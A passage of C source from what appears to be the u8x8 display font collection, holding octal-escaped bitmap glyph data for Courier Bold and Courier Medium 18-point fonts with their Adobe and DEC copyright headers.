"\0\0\0\0\14\14\374\374\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\7\3\1\1\1\3\377\376" "\0\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\0\200\200\234\234\234\0\0\0\0" "\0\0\0\0\0\0\0\1\1\1\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\200\200\200\200\234\234\234\200\0\0\0\0\0\0\0\0\1\1\1\1\1\1\377\377\0\0" "\0\0\0\0\0\0`````p\77\37\0\0\0\0\0\0\0\14\14\374\374\0\0\0\200\200\200\200" "\0\0\0\0\0\0\0\377\377\30<~\347\303\201\1\0\0\0\0\0\3\3\3\3\0\0\0\3\3\3\3" "\3\3\0\0\0\0\0\14\14\14\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\200\200\200\0\200\200\200\200\0\200\200\200" "\200\0\0\0\1\1\377\377\3\1\1\377\377\3\1\1\377\377\0\0\3\3\3\3\3\0\0\3\3\3\3\0" "\3\3\3\3\200\200\200\200\0\0\200\200\200\200\0\0\0\0\0\0\1\1\377\377\6\3\1\1\1\3\377\376" "\0\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\0\0\200\200\200\200\200\200\0\0" "\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377|\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1" "\0\0\0\0\200\200\200\200\0\200\200\200\200\200\0\0\0\0\0\0\1\1\377\377\307\203\1\1\1\203\307\377" "|\0\0\0``\177\177acc\3\3\3\1\1\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200\200" "\200\200\0\0\0|\377\307\203\1\1\1\203\307\377\377\1\1\0\0\0\0\1\1\3\3\3cca\177\177" "``\0\0\0\0\200\200\200\200\0\0\200\200\200\200\0\0\0\0\0\0\1\1\377\377\7\3\1\1\1\3" "\3\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200\200" "\0\0\0\0\0\0\306\317\217\31\31\71\61\63\347\347\300\0\0\0\0\0\3\3\1\3\3\3\3\3\3\1" "\0\0\0\0\0\200\200\370\370\200\200\200\200\200\200\0\0\0\0\0\0\1\1\377\377\201\1\1\1\201\201\200" "\0\0\0\0\0\0\0\0\1\3\3\3\3\3\1\1\0\0\0\0\200\200\200\200\0\0\0\0\200\200\200\200" "\0\0\0\0\1\1\377\377\200\0\0\0\1\201\377\377\0\0\0\0\0\0\0\1\3\3\3\3\3\1\3\3" "\3\3\0\0\200\200\200\200\200\200\0\0\200\200\200\200\200\200\0\0\1\1\7\37y\341\200\200\341y\37\7" "\1\1\0\0\0\0\0\0\0\1\3\3\1\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0\0\200\200\200" "\200\200\0\0\1\7\177\371\301\360>>\360\301\371\177\7\1\0\0\0\0\0\3\3\0\0\0\0\3\3\0" "\0\0\0\0\0\200\200\200\200\200\0\0\200\200\200\200\200\0\0\0\0\1\1\203\307m\70\70m\307\203\1" "\1\0\0\0\0\3\3\3\3\3\0\0\3\3\3\3\3\0\0\0\0\200\200\200\200\200\0\0\200\200\200\200" "\200\0\0\0\0\1\7\37}\361\200\300\361}\37\7\1\0\0\0\0```p}\177g\1\0\0\0" "\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\207\307\341q\71\35\17\7\303\301" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\360\370\14\4\4\0" "\0\0\0\0\0\0\0\0\10\34\377\367\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\37\60 \0" "\0\0\0\0\0\0\0\0\0\0\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\17\17\0\0\0\0\0\0\0\0\0\0\0\4\4\14\370\360\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\367\377\34\10\0\0\0\0\0\0\0\0\0 \60\37\17\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34\16\6\6\16\34\30\30\34\16" "\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; /* Fontname: -Adobe-Courier-Bold-R-Normal--25-180-100-100-M-150-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 18/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courB18_2x3_n[1300] U8X8_FONT_SECTION("u8x8_font_courB18_2x3_n") = " :\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\200\0\0\360\360\0\0\200\200\0\0\0\0\0\0\1a{;\17\17;{a\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0" "\0\0\0\0\0\60\60\60\60\60\377\377\60\60\60\60\60\0\0\0\0\0\0\0\0\0\7\7\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0`\70\36\16\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\60\60\60\60\60\60\60\60\60\60\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340x" "\30\0\0\0\0\0\0\0\0\200\340x\36\7\1\0\0\0\0\0\0\0`x\36\7\1\0\0\0\0\0" "\0\0\0\0\0\0\200\340`\60\60\60\60`\340\200\0\0\0\0\0\0\377\377\0\0\0\0\0\0\377\377" "\0\0\0\0\0\0\1\7\6\14\14\14\14\6\7\1\0\0\0\0\0\0```p\360\360\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\14\14\14\14\17\17\14\14\14\14" "\0\0\0\0\0\0\300\340p\60\60\60\60p\340\300\0\0\0\0\0\0\1\1\200\300\340p\70\34\17\7" "\0\0\0\0\0\14\16\17\17\15\14\14\14\14\14\14\0\0\0\0\0\0\300\340p\60\60\60\60p\340\300" "\0\0\0\0\0\0\0\0\0\30\30\30\34>\367\343\0\0\0\0\0\3\7\16\14\14\14\14\14\16\7\3" "\0\0\0\0\0\0\0\0\0\300\340p\360\360\0\0\0\0\0\0\0\300\360\374\317\303\300\300\377\377\300\300" "\0\0\0\0\0\0\0\0\0\14\14\14\17\17\14\14\0\0\0\0\0\0\0\360\360\60\60\60\60\60\60\60" "\0\0\0\0\0\0\0\17\17\14\6\6\6\16\34\374\360\0\0\0\0\0\3\7\16\14\14\14\14\16\7\7" "\1\0\0\0\0\0\0\200\300\340`p\60\60\60\60\0\0\0\0\0\0\376\377\33\14\14\14\14\34\370\360" "\0\0\0\0\0\0\1\7\7\16\14\14\14\16\7\3\0\0\0\0\0\0pp\60\60\60\60\60\60\360\360" "\0\0\0\0\0\0\0\0\0\0\0\300\370\77\7\0\0\0\0\0\0\0\0\0\0\0\16\17\1\0\0\0" "\0\0\0\0\0\0\300\340`\60\60\60\60`\340\300\0\0\0\0\0\0\343\367<\30\30\30\30<\367\343" "\0\0\0\0\0\0\3\7\16\14\14\14\14\16\7\3\0\0\0\0\0\0\0\200\340`\60\60\60\60`\340" "\200\0\0\0\0\0\0\37\77p```\60\30\377\377\0\0\0\0\0\0\14\14\14\14\14\14\6\7\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0\0" "\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0\0\0\0\0"; /* Fontname: -Adobe-Courier-Medium-R-Normal--25-180-100-100-M-150-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 191/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courR18_2x3_f[10756] U8X8_FONT_SECTION("u8x8_font_courR18_2x3_f") = " \377\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\0<\374<\0\0<\374<\0\0\0\0\0\0\0\0\0\1\0\0\0\0\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\0\0\374\0\0" "\0\0\0\0\0\0\20\21\21\377\21\21\377\21\21\1\0\0\0\0\0\0\0\0\0\7\0\0\7\0\0\0" "\0\0\0\0\0\0\0\0\300 \20\36\20\20 p\0\0\0\0\0\0\0\300\201\2\4\4\4\4\210p" "\0\0\0\0\0\0\0\1\0\1\1\37\1\1\0\0\0\0\0\0\0\0p\210\4\4\4\210p\0\0\0" "\0\0\0\0\0\10\10\10\5\5\345\22\12\12\11\21\341\0\0\0\0\0\0\0\0\0\0\1\2\2\2\1" "\0\0\0\0\0\0\0\0\300 `@ \0\0\0\0\0\0\0\0\360\10\5\6\30 \340\230\10\0" "\0\0\0\0\0\0\0\1\2\2\2\1\0\1\2\2\0\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\30\4\0\0\0\0\0\0\0\0\0\0\0\0\177\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\14\20\0\0\0\0\0\0\0\0\4\30\340\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\177\0\0\0\0\0\0\0\0\0\0\0\0\20\14\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0 `@\300\374\300@` \0\0\0\0\0\0\0\4\6\3\1\0\1\3\6\4" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\0\0\0\0" "\0\0\0\0\0\0\4\4\4\4\4\377\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\4\4\4\4\4\4\4\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\60\14" "\0\0\0\0\0\0\0\0\0\300\60\14\3\0\0\0\0\0\0\0\0\0\0\14\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\60\20\10\10\10\20\60\300\0\0\0\0\0\0\0\177\200\0\0\0\0\0\200\177" "\0\0\0\0\0\0\0\0\1\1\2\2\2\1\1\0\0\0\0\0\0\0\0\20\20\20\10\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0`\20\20\10\10\10\10\20\340\0\0\0\0\0\0\0\0\200@ \20\10\4\2\1\0" "\0\0\0\0\0\0\3\2\2\2\2\2\2\2\2\3\0\0\0\0\0\0\0\20\10\10\10\10\10\20\360\0" "\0\0\0\0\0\0\200\0\0\2\2\2\2\5\4\370\0\0\0\0\0\0\0\1\1\2\2\2\2\1\1\0" "\0\0\0\0\0\0\0\0\0\200`\20\10\370\0\0\0\0\0\0\0\0\60,# \377 " "\0\0\0\0\0\0\0\0\0\0\2\2\2\3\2\2\0\0\0\0\0\0\0\370\10\10\10\10\10\10\10\0" "\0\0\0\0\0\0\0\3\2\1\1\1\1\2\206x\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1\0" "\0\0\0\0\0\0\0\200`\60\20\10\10\10\10\0\0\0\0\0\0\0\0\177\204\2\1\1\1\1\2\374" "\0\0\0\0\0\0\0\0\1\1\2\2\2\2\1\0\0\0\0\0\0\0\70\10\10\10\10\10\10\350\30\0" "\0\0\0\0\0\0\0\0\0\0\200p\17\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0" "\0\0\0\0\0\0\0\340\20\10\10\10\10\20\340\0\0\0\0\0\0\0p\211\6\4\4\4\4\6\211p" "\0\0\0\0\0\0\0\1\1\2\2\2\2\1\1\0\0\0\0\0\0\0\0\340\60\20\10\10\10\20\60\340" "\0\0\0\0\0\0\0\1\6\4\10\10\10\4\302\77\0\0\0\0\0\0\0\2\2\2\2\2\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200@@ \0\0\0\0\0\4\16\12\21\21 @@\200\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\22\22\22\22\22\22\22\22\22\22\22\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0 @@\200\200\0\0\0\0\0\0\0\0\0\0\200\200@@ \21\21\12\16" "\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\20\20\20\20\20 \300\0" "\0\0\0\0\0\0\0\0\0\0\60\10\10\4\3\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\340\30\10\4\4\4\204\210\360\0\0\0\0\0\0\0\377\0\0\0\36!@@\177@" "\0\0\0\0\0\0\1\6\4\10\10\10\10\14\4\0\0\0\0\0\0\0\0\20\20\320\60\20\60\300\0\0" "\0\0\0\0\0\0\200p\36\21\20\20\20\21\36p\200\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2" "\3\2\0\0\0\20\20\360\20\20\20\20\20\20\20 \300\0\0\0\0\0\0\377\4\4\4\4\4\4\4\12" "\361\0\0\0\0\2\2\3\2\2\2\2\2\2\2\1\0\0\0\0\0\0\0\300` \20\20\20\20 @" "\360\0\0\0\0\0\77\300\200\0\0\0\0\0\0\200\300\0\0\0\0\0\0\0\1\1\2\2\2\2\1\1" "\0\0\0\0\0\20\360\20\20\20\20\20\20\20 `\200\0\0\0\0\0\377\0\0\0\0\0\0\0\0\200" "\177\0\0\0\0\2\3\2\2\2\2\2\2\2\1\1\0\0\0\0\0\20\20\360\20\20\20\20\20\20\20\360" "\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0\0\340\0\0\0\0\2\2\3\2\2\2\2\2\2\2\2" "\3\0\0\0\0\0\20\20\360\20\20\20\20\20\20\20\360\0\0\0\0\0\0\0\377\4\4\4\37\0\0\0" "\0\0\0\0\0\0\2\2\3\2\2\2\2\0\0\0\0\0\0\0\0\0\300` \20\20\20\20 @\360" "\0\0\0\0\0\77\300\200\0\0\0\20\20\20\20\360\20\0\0\0\0\0\0\1\1\2\2\2\2\2\1\0" "\0\0\0\0\0\20\20\360\20\20\0\0\0\20\20\360\20\20\0\0\0\0\0\377\4\4\4\4\4\4\4\377" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\0\0\20\20\20\20\360\20\20\20\20" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0\0\0\0\20\20\20\20\20\360\20\20\20\0\0\0\0\360\0\0\0\0\0\0\200\177\0" "\0\0\0\0\0\0\0\1\2\2\2\2\1\1\0\0\0\0\0\0\0\20\20\360\20\20\0\0\200P\60\20" "\20\0\0\0\0\0\0\377\10\4\6\11\20 \300\0\0\0\0\0\0\2\2\3\2\2\0\0\0\0\2\3" "\2\2\0\0\0\20\20\20\360\20\20\20\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0" "\340\0\0\0\0\2\2\2\3\2\2\2\2\2\2\2\3\0\0\0\0\20\360p\200\0\0\0\0\0\200p" "\360\20\0\0\0\0\377\0\1\6\30\20\30\6\1\0\377\0\0\0\0\2\3\2\2\0\0\0\0\0\2\2" "\3\2\0\0\20\20\360\60@\200\0\0\20\20\20\360\20\20\0\0\0\0\377\0\0\1\6\30`\200\0\377" "\0\0\0\0\2\2\3\2\2\2\0\0\0\0\3\3\0\0\0\0\0\0\300` \20\20\20\20\20 `" "\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200\300\77\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\20\20\360\20\20\20\20\20\20 \300\0\0\0\0\0\0\0\377\10\10\10\10\10\10\4" "\3\0\0\0\0\0\2\2\3\2\2\2\2\0\0\0\0\0\0\0\0\0\300` \20\20\20\20\20 `" "\300\0\0\0\0\77\300\200\0\0\0\0\0\0\0\200\300\77\0\0\0\0\0\1\11\12\6\16\12\12\11\5" "\4\0\0\0\0\20\20\360\20\20\20\20\20\20 \300\0\0\0\0\0\0\0\377\10\10\10\10\30(\304\3" "\0\0\0\0\0\2\2\3\2\2\0\0\0\0\0\3\2\2\0\0\0\0\300 \20\20\20\20 @\360" "\0\0\0\0\0\0\301\202\2\4\4\4\4\10\10\360\0\0\0\0\0\0\3\0\1\2\2\2\2\2\1\0" "\0\0\0\0\0\0\360\20\20\20\20\360\20\20\20\20\360\0\0\0\0\0\1\0\0\0\0\377\0\0\0\0" "\1\0\0\0\0\0\0\0\2\2\2\3\2\2\2\0\0\0\0\0\0\20\360\20\20\20\0\0\20\20\20\360" "\20\0\0\0\0\0\377\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\1\2\2\2\2\2\2\1\0" "\0\0\0\0\0\20p\220\20\20\0\0\0\20\20\220p\20\0\0\0\0\0\1\16p\200\0\200p\16\1" "\0\0\0\0\0\0\0\0\0\0\1\3\1\0\0\0\0\0\0\0\0\20\360\20\20\20\0\200\0\20\20\20" "\360\20\0\0\0\0\7\370\200p\16\1\16p\200\370\7\0\0\0\0\0\0\3\3\0\0\0\0\0\3\3" "\0\0\0\0\0\20\20\60\320\20\0\0\0\20\320\60\20\20\0\0\0\0\0\200@\61\12\4\12\61@\200" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\20\20\60\320\0\0\0\0\0\320\60" "\20\20\0\0\0\0\0\0\0\3\4\370\4\3\0\0\0\0\0\0\0\0\0\0\2\2\2\3\2\2\2\0" "\0\0\0\0\0\0\360\20\20\20\20\20\20\220P\60\0\0\0\0\0\0\1\200@\60\10\4\3\0\0\340" "\0\0\0\0\0\0\3\2\2\2\2\2\2\2\2\3\0\0\0\0\0\0\0\0\0\0\0\374\4\4\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\20\20\0\0" "\0\0\0\0\0\0\0\14\60\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\14\60\300\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\14\0\0\0\0\0\0\0\0\0\4\4\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\0\0\20\20\37\0\0\0\0" "\0\0\0\0\0\0\0@ \20\10\14\10\20 @\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@@@@@@@@@@@@" "@@@\0\0\0\0\0\4\14\30\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\0" "\0\0\0\0\0\0\340\21\10\10\10\10\10\21\376\0\0\0\0\0\0\0\0\1\2\2\2\2\2\1\3\2" "\2\0\0\0\0\10\10\370\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\202\1\0\0\0\0\0\1" "\203|\0\0\0\2\2\3\0\1\2\2\2\2\2\1\1\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200" "\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\207\200\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\0\0\0\200\200\200\200\200\10\10\370\0\0\0\0\0|\203\1\0\0\0\0\0\1\202\377" "\0\0\0\0\0\0\1\1\2\2\2\2\2\1\0\3\2\2\0\0\0\0\0\0\0\200\200\200\200\200\0\0" "\0\0\0\0\0\0|\223\21\20\20\20\20\20\21\23\34\0\0\0\0\0\0\1\1\2\2\2\2\2\2\1" "\1\0\0\0\0\0\0\200\200\200\360\230\210\210\210\210\20\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0" "\0\0\0\0\0\0\0\2\2\2\3\2\2\2\2\2\0\0\0\0\0\0\0\0\200\200\200\200\200\0\0\200" "\200\200\0\0\0|\203\1\0\0\0\0\0\1\202\377\0\0\0\0\0\0\1ABBBBB!\60\17" "\0\0\0\0\0\10\10\370\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\377\2\1\0\0\0\0\1\376" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\0\0\0\200\200\200\234\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0\0\0\0\0\2\2\2\2\3\2\2\2\2" "\0\0\0\0\0\0\0\200\200\200\200\200\200\234\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0" "\0\0\0\0\0\0\0@@@@@ \60\17\0\0\0\0\0\0\0\10\10\370\0\0\0\200\200\200\200" "\0\0\0\0\0\0\0\0\377\20\30$B\201\0\0\0\0\0\0\0\0\2\2\3\0\0\0\0\2\3\2" "\2\0\0\0\0\0\0\10\10\10\10\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\2\2\2\2\2\3\2\2\2\2\2\0\0\0\200\200\200\0\200\200\200\0\0\200\200\200" "\0\0\0\0\0\0\377\1\0\0\0\377\1\0\0\0\377\0\0\0\2\2\3\2\2\0\0\3\2\0\0\0" "\3\2\0\0\0\200\200\200\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\377\2\1\0\0\0\0\1\376" "\0\0\0\0\0\2\2\3\2\2\0\0\0\2\2\3\2\2\0\0\0\0\0\0\0\200\200\200\200\200\0\0" "\0\0\0\0\0\0|\203\1\0\0\0\0\0\1\203|\0\0\0\0\0\0\1\1\2\2\2\2\2\1\1" "\0\0\0\0\0\200\200\200\0\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\202\1\0\0\0\0\0\1" "\203|\0\0\0@@\177@AB\2\2\2\2\1\1\0\0\0\0\0\0\0\200\200\200\200\200\0\0\200" "\200\200\0\0\0|\203\1\0\0\0\0\0\1\202\377\0\0\0\0\0\0\1\1\2\2\2\2BA@\177" "@@\0\0\0\0\0\200\200\200\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\377\2\1\1\0\0\0" "\1\0\0\0\0\0\2\2\2\3\2\2\2\2\2\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200" "\0\0\0\0\0\0\0\200\7\10\10\10\20\20\21\343\0\0\0\0\0\0\0\3\1\2\2\2\2\2\1\0" "\0\0\0\0\0\0\200\200\370\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\2\2\2\2\1\1\0\0\0\0\0\200\200\200\0\0\0\0\0\200\200\200" "\0\0\0\0\0\0\0\377\0\0\0\0\0\0\200\377\0\0\0\0\0\0\0\0\1\2\2\2\2\1\0\3" "\2\0\0\0\0\200\200\200\200\200\0\0\0\200\200\200\200\200\0\0\0\0\0\3\34`\200\0\200`\34\3" "\0\0\0\0\0\0\0\0\0\0\1\3\1\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\200\200" "\200\200\0\0\0\0\7x\200\0\360\14\360\0\200x\7\0\0\0\0\0\0\0\3\3\0\0\0\3\3\0" "\0\0\0\0\0\0\200\200\200\200\0\0\0\200\200\200\200\0\0\0\0\0\0\1\202D(\20(D\202\1" "\0\0\0\0\0\0\2\3\2\2\0\0\0\2\2\3\2\0\0\0\0\200\200\200\200\0\0\0\0\200\200\200" "\200\0\0\0\0\0\3\34`\200\0\0\300\60\14\3\0\0\0\0\0@@@@qNC\0\0\0\0" "\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\3\200@ \20\10\4\2\201" "\0\0\0\0\0\0\0\3\2\2\2\2\2\2\2\3\0\0\0\0\0\0\0\0\0\0\0\370\4\4\0\0" "\0\0\0\0\0\0\0\0\0\10\10\367\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\20\20\0\0" "\0\0\0\0\0\0\0\0\0\0\0\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\37\0\0\0\0\0\0\0\0\0\0\0\0\0\4\4\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\367\10\10\0\0\0\0\0\0\0\0\0\0\0\20\20\17\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\14\6\2\2\6\14\10\10\14\6" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 